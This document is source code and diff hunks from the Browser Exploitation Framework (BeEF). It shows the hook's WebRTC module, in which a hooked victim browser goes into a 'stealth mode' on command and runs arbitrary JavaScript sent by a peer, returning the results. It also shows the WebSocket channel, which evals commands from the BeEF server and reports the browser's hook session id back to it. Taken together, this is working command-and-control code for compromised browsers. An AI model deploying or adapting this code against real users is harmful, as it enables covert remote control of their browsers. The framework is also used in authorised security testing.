// <peerid> - i.e. the id of the browser which initiated stealth mode
|
||||
rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
|
||||
// The key is the peer id
|
||||
|
||||
// Beefwebrtc object - wraps everything together for a peer connection
|
||||
// One of these per peer connection, and will be stored in the beefrtc global hash
|
||||
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
|
||||
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
|
||||
this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
|
||||
this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
|
||||
this.turnjson = turnjson; // set of TURN servers in the format:
|
||||
// {"username": "<username", "password": "<password>", "uris": [
|
||||
// "turn:<ip>:<port>?transport=<udp/tcp>",
|
||||
// "turn:<ip>:<port>?transport=<udp/tcp>"]}
|
||||
this.started = false; // Has signaling / dialing started for this peer
|
||||
this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
|
||||
this.turnDone = false; // does the pcConfig have TURN servers added to it?
|
||||
this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
|
||||
// the receiver will set this to true once it receives an SDP 'offer'
|
||||
this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
|
||||
this.pcConfig = null; // We set this during init
|
||||
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
|
||||
this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
|
||||
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
|
||||
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
|
||||
this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
|
||||
this.dataChannel = null; // The data channel used by this peer
|
||||
this.stunservers = stunservers; // set of STUN servers, in the format:
|
||||
// ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
|
||||
}
|
||||
|
||||
// Initialize the object
|
||||
Beefwebrtc.prototype.initialize = function() {
|
||||
if (this.peerid == null) {
|
||||
return 0; // no peerid - NO DICE
|
||||
}
|
||||
|
||||
// Initialise the pcConfig hash with the provided stunservers
|
||||
var stuns = JSON.parse(this.stunservers);
|
||||
this.pcConfig = {"iceServers": [{"urls":stuns}]};
|
||||
|
||||
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
|
||||
this.forceTurn(this.turnjson);
|
||||
|
||||
// Caller is always ready to create peerConnection.
|
||||
this.signalingReady = this.initiator;
|
||||
|
||||
// Start .. maybe
|
||||
this.maybeStart();
|
||||
|
||||
// If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
|
||||
// window.onbeforeunload = function() {
|
||||
// this.sendSignalMsg({type: 'bye'});
|
||||
// }
|
||||
|
||||
return 1; // because .. yeah .. we had a peerid - this is good yar.
|
||||
}
|
||||
|
||||
//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
|
||||
//These values are now simply passed in from the config.yaml for the webrtc extension
|
||||
Beefwebrtc.prototype.forceTurn = function(jason) {
|
||||
var turnServer = JSON.parse(jason);
|
||||
var iceServers = createIceServers(turnServer.uris,
|
||||
turnServer.username,
|
||||
turnServer.password);
|
||||
if (iceServers !== null) {
|
||||
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
|
||||
}
|
||||
if (this.verbose) {console.log("Got TURN servers, will try and maybestart again..");}
|
||||
this.turnDone = true;
|
||||
this.maybeStart();
|
||||
}
|
||||
|
||||
// Try and establish the RTC connection
|
||||
Beefwebrtc.prototype.createPeerConnection = function() {
|
||||
if (this.verbose) {
|
||||
console.log('Creating RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
}
|
||||
try {
|
||||
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
|
||||
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
|
||||
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
|
||||
if (this.verbose) {
|
||||
console.log('Created RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
}
|
||||
} catch (e) {
|
||||
if (this.verbose) {
|
||||
console.log('Failed to create PeerConnection, exception: ');
|
||||
console.log(e);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
|
||||
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
|
||||
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
|
||||
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
|
||||
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
|
||||
}
|
||||
|
||||
// When the PeerConnection receives a new ICE Candidate
|
||||
Beefwebrtc.prototype.onIceCandidate = function(event) {
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {
|
||||
console.log("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
||||
console.log(event);
|
||||
}
|
||||
|
||||
if (event.candidate) {
|
||||
// Send the candidate to the peer via the BeEF signalling channel
|
||||
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
|
||||
label: event.candidate.sdpMLineIndex,
|
||||
id: event.candidate.sdpMid,
|
||||
candidate: event.candidate.candidate});
|
||||
// Note this ICE candidate locally
|
||||
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
|
||||
} else {
|
||||
if (beefrtcs[peerid].verbose) {console.log('End of candidates.');}
|
||||
}
|
||||
}
|
||||
|
||||
// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
|
||||
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
|
||||
// against the message directly
|
||||
Beefwebrtc.prototype.processMessage = function(message) {
|
||||
if (this.verbose) {
|
||||
console.log('Signalling Message - S->C: ' + JSON.stringify(message));
|
||||
}
|
||||
var msg = JSON.parse(message);
|
||||
|
||||
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
|
||||
if (this.verbose) {console.log('processing the message, as a receiver');}
|
||||
if (msg.type === 'offer') { // This IS an SDP Offer
|
||||
if (this.verbose) {console.log('.. and the message is an offer .. ');}
|
||||
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
|
||||
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
|
||||
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
|
||||
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
|
||||
if (this.verbose) {console.log(' .. the message is NOT an offer .. ');}
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
|
||||
if (this.verbose) {console.log('processing the message, as the sender, no answers yet');}
|
||||
if (msg.type === 'answer') { // This IS an SDP Answer
|
||||
if (this.verbose) {console.log('.. and we have an answer ..');}
|
||||
this.processSignalingMessage(msg); // Process the message directly
|
||||
this.gotanswer = true; // We have now received an answer
|
||||
//process all other queued message...
|
||||
while (this.msgQueue.length > 0) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
|
||||
if (this.verbose) {console.log('.. not an answer ..');}
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else { // For all other messages just drop them in the queue
|
||||
if (this.verbose) {console.log('processing a message, but, not as a receiver, OR, the rtc is already up');}
|
||||
this.processSignalingMessage(msg);
|
||||
}
|
||||
}
|
||||
|
||||
// Send a signalling message ..
|
||||
Beefwebrtc.prototype.sendSignalMsg = function(message) {
|
||||
var msgString = JSON.stringify(message);
|
||||
if (this.verbose) {console.log('Signalling Message - C->S: ' + msgString);}
|
||||
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
|
||||
}
|
||||
|
||||
// Used to record ICS candidates locally
|
||||
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
|
||||
if (this.gatheredIceCandidateTypes[location][type])
|
||||
return;
|
||||
this.gatheredIceCandidateTypes[location][type] = 1;
|
||||
// updateInfoDiv();
|
||||
}
|
||||
|
||||
// When the signalling state changes. We don't actually do anything with this except log it.
|
||||
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (localverbose === true) {console.log("Signalling has changed to: " + event.target.signalingState);}
|
||||
}
|
||||
|
||||
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
|
||||
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
|
||||
var peerid = null;
|
||||
|
||||
for (k in globalrtc) {
|
||||
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
|
||||
peerid = k;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {console.log("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
|
||||
|
||||
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
|
||||
// better candidates or connections
|
||||
if (event.target.iceConnectionState === 'connected') {
|
||||
//Send status to peer
|
||||
window.setTimeout(function() {
|
||||
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
||||
beefrtcs[peerid].allgood = true;
|
||||
},1000);
|
||||
}
|
||||
|
||||
// Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
|
||||
if (event.target.iceConnectionState === 'completed') {
|
||||
window.setTimeout(function() {
|
||||
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
||||
beefrtcs[peerid].allgood = true;
|
||||
},1000);
|
||||
}
|
||||
|
||||
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
|
||||
//I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
|
||||
rtcstealth = false;
|
||||
beefrtcs[peerid].allgood = false;
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
||||
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
|
||||
//I was not in stealth, and this peer has gone offline - send a message
|
||||
beefrtcs[peerid].allgood = false;
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
||||
}
|
||||
// We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
|
||||
// This is possibly a bad idea - @xntrik
|
||||
|
||||
|
||||
}
|
||||
|
||||
// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
|
||||
Beefwebrtc.prototype.goStealth = function() {
|
||||
//stop the beef updater
|
||||
rtcstealth = this.peerid; // this is a global variable
|
||||
beef.updater.lock = true;
|
||||
this.sendPeerMsg('Going into stealth mode');
|
||||
|
||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
||||
}
|
||||
|
||||
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
|
||||
rtcpollPeer = function() {
|
||||
if (rtcstealth == false) {
|
||||
//my peer has disabled stealth mode
|
||||
beef.updater.lock = false;
|
||||
return;
|
||||
}
|
||||
|
||||
if (beefrtcs[rtcstealth].verbose) {console.log('lub dub');}
|
||||
|
||||
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
|
||||
|
||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
||||
}
|
||||
|
||||
// When a data channel has been established - within here is the message handling function as well
|
||||
Beefwebrtc.prototype.onDataChannel = function(event) {
|
||||
var peerid = null;
|
||||
for (k in globalrtc) {
|
||||
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
|
||||
peerid = k;
|
||||
}
|
||||
}
|
||||
|
||||
if (beefrtcs[peerid].verbose) {console.log("Peer: " + peerid + " has just handled the onDataChannel event");}
|
||||
rtcrecvchan[peerid] = event.channel;
|
||||
|
||||
// This is the onmessage event handling within the datachannel
|
||||
rtcrecvchan[peerid].onmessage = function(ev2) {
|
||||
if (beefrtcs[peerid].verbose) {console.log("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
|
||||
|
||||
// We've received the command to go into stealth mode
|
||||
if (ev2.data == "!gostealth") {
|
||||
if (beef.updater.lock == true) {
|
||||
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
|
||||
} else {
|
||||
beefrtcs[peerid].goStealth();
|
||||
}
|
||||
|
||||
// The message to come out of stealth
|
||||
} else if (ev2.data == "!endstealth") {
|
||||
|
||||
if (rtcstealth != null) {
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
|
||||
rtcstealth = false;
|
||||
}
|
||||
|
||||
// Command to perform arbitrary JS (while stealthed)
|
||||
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Command to perform arbitrary JS (while NOT stealthed)
|
||||
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
|
||||
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Just a plain text message .. (while stealthed)
|
||||
} else if (rtcstealth != false) {
|
||||
if (beefrtcs[peerid].verbose) {console.log('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
|
||||
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
|
||||
|
||||
// Just a plan text message (while NOT stealthed)
|
||||
} else {
|
||||
if (beefrtcs[peerid].verbose) {console.log('received a message from peer['+peerid+'] - sending it back to beef');}
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// How the browser executes received JS (this is pretty hacky)
|
||||
Beefwebrtc.prototype.execCmd = function(input) {
|
||||
var fn = new Function(input);
|
||||
var res = fn();
|
||||
return res.toString();
|
||||
}
|
||||
|
||||
// Shortcut function to SEND a data messsage
|
||||
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
|
||||
if (this.verbose) {console.log('sendPeerMsg to ' + this.peerid);}
|
||||
this.dataChannel.send(msg);
|
||||
}
|
||||
|
||||
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
|
||||
Beefwebrtc.prototype.maybeStart = function() {
|
||||
if (this.verbose) {console.log("maybe starting ... ");}
|
||||
|
||||
if (!this.started && this.signalingReady && this.turnDone) {
|
||||
if (this.verbose) {console.log('Creating PeerConnection.');}
|
||||
this.createPeerConnection();
|
||||
|
||||
this.started = true;
|
||||
|
||||
if (this.initiator) {
|
||||
if (this.verbose) {console.log("Making the call now .. bzz bzz");}
|
||||
this.doCall();
|
||||
} else {
|
||||
if (this.verbose) {console.log("Receiving a call now .. somebuddy answer da fone?");}
|
||||
this.calleeStart();
|
||||
}
|
||||
|
||||
} else {
|
||||
if (this.verbose) {console.log("Not ready to start just yet..");}
|
||||
}
|
||||
}
|
||||
|
||||
// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
|
||||
Beefwebrtc.prototype.doCall = function() {
|
||||
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
|
||||
var self = this;
|
||||
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
|
||||
if (this.verbose) {console.log('Sending offer to peer, with constraints: \n' +
|
||||
' \'' + JSON.stringify(constraints) + '\'.');}
|
||||
}
|
||||
|
||||
// Helper method to merge SDP constraints
|
||||
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
|
||||
var merged = cons1;
|
||||
for (var name in cons2.mandatory) {
|
||||
merged.mandatory[name] = cons2.mandatory[name];
|
||||
}
|
||||
merged.optional.concat(cons2.optional);
|
||||
return merged;
|
||||
}
|
||||
|
||||
// Sets the local RTC session description, sends this information back (via signalling)
|
||||
// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
|
||||
// The receiver uses this information too - and vice-versa - hence the signaling
|
||||
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
|
||||
// This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
|
||||
// Stupid .. javascript :(
|
||||
// So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
|
||||
// i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
if (beefrtcs[peerid].verbose) {console.log("For peer: " + peerid + " Running setLocalAndSendMessage...");}
|
||||
|
||||
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
|
||||
beefrtcs[peerid].sendSignalMsg(sessionDescription);
|
||||
|
||||
function onSetSessionDescriptionSuccess() {
|
||||
if (beefrtcs[peerid].verbose) {console.log('Set session description success.');}
|
||||
}
|
||||
|
||||
function onSetSessionDescriptionError() {
|
||||
if (beefrtcs[peerid].verbose) {console.log('Failed to set session description');}
|
||||
}
|
||||
}
|
||||
|
||||
// If the browser can't build an SDP
|
||||
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('Failed to create session description: ' + error.toString());}
|
||||
}
|
||||
|
||||
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
||||
Beefwebrtc.prototype.calleeStart = function() {
|
||||
// Callee starts to process cached offer and other messages.
|
||||
while (this.msgQueue.length > 0) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
}
|
||||
|
||||
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
|
||||
Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||
if (!this.started) {
|
||||
if (this.verbose) {console.log('peerConnection has not been created yet!');}
|
||||
return;
|
||||
}
|
||||
|
||||
if (message.type === 'offer') {
|
||||
if (this.verbose) {console.log("Processing signalling message: OFFER");}
|
||||
this.setRemote(message);
|
||||
this.doAnswer();
|
||||
} else if (message.type === 'answer') {
|
||||
if (this.verbose) {console.log("Processing signalling message: ANSWER");}
|
||||
this.setRemote(message);
|
||||
} else if (message.type === 'candidate') {
|
||||
if (this.verbose) {console.log("Processing signalling message: CANDIDATE");}
|
||||
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
||||
candidate: message.candidate});
|
||||
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
|
||||
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
|
||||
} else if (message.type === 'bye') {
|
||||
this.onRemoteHangup();
|
||||
}
|
||||
}
|
||||
|
||||
// Used to set the RTC remote session
|
||||
Beefwebrtc.prototype.setRemote = function(message) {
|
||||
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
||||
onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||
|
||||
function onSetRemoteDescriptionSuccess() {
|
||||
if (this.verbose) {console.log("Set remote session description success.");}
|
||||
}
|
||||
}
|
||||
|
||||
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
||||
Beefwebrtc.prototype.doAnswer = function() {
|
||||
if (this.verbose) {console.log('Sending answer to peer.');}
|
||||
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
|
||||
}
|
||||
|
||||
// Helper method to determine what kind of ICE Candidate we've received
|
||||
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
|
||||
if (candidateSDP.indexOf("typ relay ") >= 0)
|
||||
return "TURN";
|
||||
if (candidateSDP.indexOf("typ srflx ") >= 0)
|
||||
return "STUN";
|
||||
if (candidateSDP.indexOf("typ host ") >= 0)
|
||||
return "HOST";
|
||||
return "UNKNOWN";
|
||||
}
|
||||
|
||||
// Event handler for successful addition of ICE Candidates
|
||||
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('AddIceCandidate success.');}
|
||||
}
|
||||
|
||||
// Event handler for unsuccessful addition of ICE Candidates
|
||||
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {console.log('Failed to add Ice Candidate: ' + error.toString());}
|
||||
}
|
||||
|
||||
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
|
||||
Beefwebrtc.prototype.onRemoteHangup = function() {
|
||||
if (this.verbose) {console.log('Session terminated.');}
|
||||
this.initiator = 0;
|
||||
// transitionToWaiting();
|
||||
this.stop();
|
||||
}
|
||||
|
||||
// Bring down the peer connection
|
||||
Beefwebrtc.prototype.stop = function() {
|
||||
this.started = false; // we're no longer started
|
||||
this.signalingReady = false; // signalling isn't ready
|
||||
globalrtc[this.peerid].close(); // close the RTCPeerConnection option
|
||||
globalrtc[this.peerid] = null; // Remove it
|
||||
this.msgQueue.length = 0; // clear the msgqueue
|
||||
rtcstealth = false; // no longer stealth
|
||||
this.allgood = false; // allgood .. NAH UH
|
||||
}
|
||||
|
||||
// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
|
||||
// These are the methods which are executed via the custom extension of the hook.js
|
||||
beef.webrtc = {
|
||||
// Start the RTCPeerConnection process
|
||||
start: function(initiator,peer,turnjson,stunservers,verbose) {
|
||||
if (peer in beefrtcs) {
|
||||
// If the RTC peer is not in a good state, try kickng it off again
|
||||
// This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
|
||||
if (beefrtcs[peer].allgood == false) {
|
||||
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
|
||||
beefrtcs[peer].initialize();
|
||||
}
|
||||
} else {
|
||||
// Standard behaviour for new peer connections
|
||||
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
|
||||
beefrtcs[peer].initialize();
|
||||
}
|
||||
},
|
||||
|
||||
// Check the status of all my peers ..
|
||||
status: function(me) {
|
||||
if (Object.keys(beefrtcs).length > 0) {
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs.hasOwnProperty(k)) {
|
||||
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
|
||||
}
|
||||
}
|
||||
} else {
|
||||
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
|
||||
}
|
||||
}
|
||||
}
|
||||
beef.regCmp('beef.webrtc');
|
||||
@@ -1,76 +1,91 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
//beef.websocket.socket.send(take answer to server beef)
|
||||
/*New browser init call this */
|
||||
/**
|
||||
* @Literal object: beef.websocket
|
||||
*
|
||||
* Manage the WebSocket communication channel.
|
||||
* This channel is much faster and responsive, and it's used automatically
|
||||
* if the browser supports WebSockets AND beef.http.websocket.enable = true.
|
||||
*/
|
||||
|
||||
beef.websocket = {
|
||||
|
||||
socket:null,
|
||||
alive_timer:<%= @websocket_timer %>,
|
||||
ws_poll_timeout: "<%= @ws_poll_timeout %>",
|
||||
|
||||
/**
|
||||
* Initialize the WebSocket client object.
|
||||
* Note: use WebSocketSecure only if the hooked origin is under https.
|
||||
* Mixed-content in WS is quite different from a non-WS context.
|
||||
*/
|
||||
init:function () {
|
||||
var webSocketServer = beef.net.host;
|
||||
var webSocketPort = <%= @websocket_port %>;
|
||||
var webSocketSecure = <%= @websocket_secure %>;
|
||||
var webSocketPort = "<%= @websocket_port %>";
|
||||
var webSocketSecure = "<%= @websocket_secure %>";
|
||||
var protocol = "ws://";
|
||||
//console.log("We are inside init");
|
||||
/*use wss only if hooked domain is under https. Mixed-content in WS is quite different from a non-WS context*/
|
||||
|
||||
if(webSocketSecure && window.location.protocol=="https:"){
|
||||
protocol = "wss://";
|
||||
webSocketPort= <%= @websocket_sec_port %>;
|
||||
webSocketPort= "<%= @websocket_sec_port %>";
|
||||
}
|
||||
|
||||
if (beef.browser.isFF() && !!window.MozWebSocket) {
|
||||
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
|
||||
} else {
|
||||
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
if (beef.browser.isFF() && !!window.MozWebSocket) {
|
||||
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
}else{
|
||||
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
}
|
||||
|
||||
},
|
||||
/* send Helo message to the BeEF server and start async communication*/
|
||||
|
||||
/**
|
||||
* Send Helo message to the BeEF server and start async polling.
|
||||
*/
|
||||
start:function () {
|
||||
new beef.websocket.init();
|
||||
this.socket.onopen = function () {
|
||||
//console.log("Socket has been opened!");
|
||||
|
||||
/*send browser id*/
|
||||
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
|
||||
//console.log("Connected and Helo");
|
||||
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
|
||||
beef.websocket.alive();
|
||||
}
|
||||
};
|
||||
|
||||
this.socket.onmessage = function (message) {
|
||||
//console.log("Received message via WS."+ message.data);
|
||||
eval(message.data);
|
||||
}
|
||||
// Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
|
||||
// That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
|
||||
// It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
|
||||
new Function(message.data)();
|
||||
};
|
||||
|
||||
this.socket.onclose = function () {
|
||||
setTimeout(function(){beef.websocket.start()}, 5000);
|
||||
}
|
||||
|
||||
setTimeout(function(){beef.websocket.start()}, 5000);
|
||||
};
|
||||
},
|
||||
|
||||
/**
|
||||
* Send data back to BeEF. This is basically the same as beef.net.send,
|
||||
* but doesn't queue commands.
|
||||
* Example usage:
|
||||
* beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
|
||||
* '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
|
||||
* '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
*/
|
||||
send:function (data) {
|
||||
try {
|
||||
this.socket.send(data);
|
||||
//console.log("Sent [" + data + "]");
|
||||
}
|
||||
catch(err){
|
||||
//console.log(err);
|
||||
|
||||
}
|
||||
this.socket.send(data);
|
||||
}catch(err){}
|
||||
},
|
||||
|
||||
/**
|
||||
* Polling mechanism, to notify the BeEF server that the browser is still hooked,
|
||||
* and the WebSocket channel still alive.
|
||||
* todo: there is probably a more efficient way to do this. Double-check WebSocket API.
|
||||
*/
|
||||
alive: function (){
|
||||
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
|
||||
// console.log("sent alive");
|
||||
setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
|
||||
|
||||
setTimeout("beef.websocket.alive()", beef.websocket.ws_poll_timeout);
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
